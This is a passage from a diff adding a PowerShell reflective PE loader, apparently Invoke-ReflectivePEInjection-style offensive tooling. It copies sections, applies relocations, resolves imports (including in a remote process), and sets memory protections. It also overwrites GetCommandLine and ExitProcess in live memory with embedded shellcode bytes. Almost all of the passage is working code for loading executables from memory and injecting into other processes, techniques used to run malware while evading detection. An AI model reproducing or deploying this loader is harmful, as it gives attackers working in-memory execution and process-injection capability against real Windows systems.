$PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $LoadByOrdinal = $false + [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) + { + [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true + } + elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) + { + [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + if ($LoadByOrdinal) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" + } + else + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + #Cleanup + #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed + if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) + { + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) + $ProcedureNamePtr = [IntPtr]::Zero + } + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + 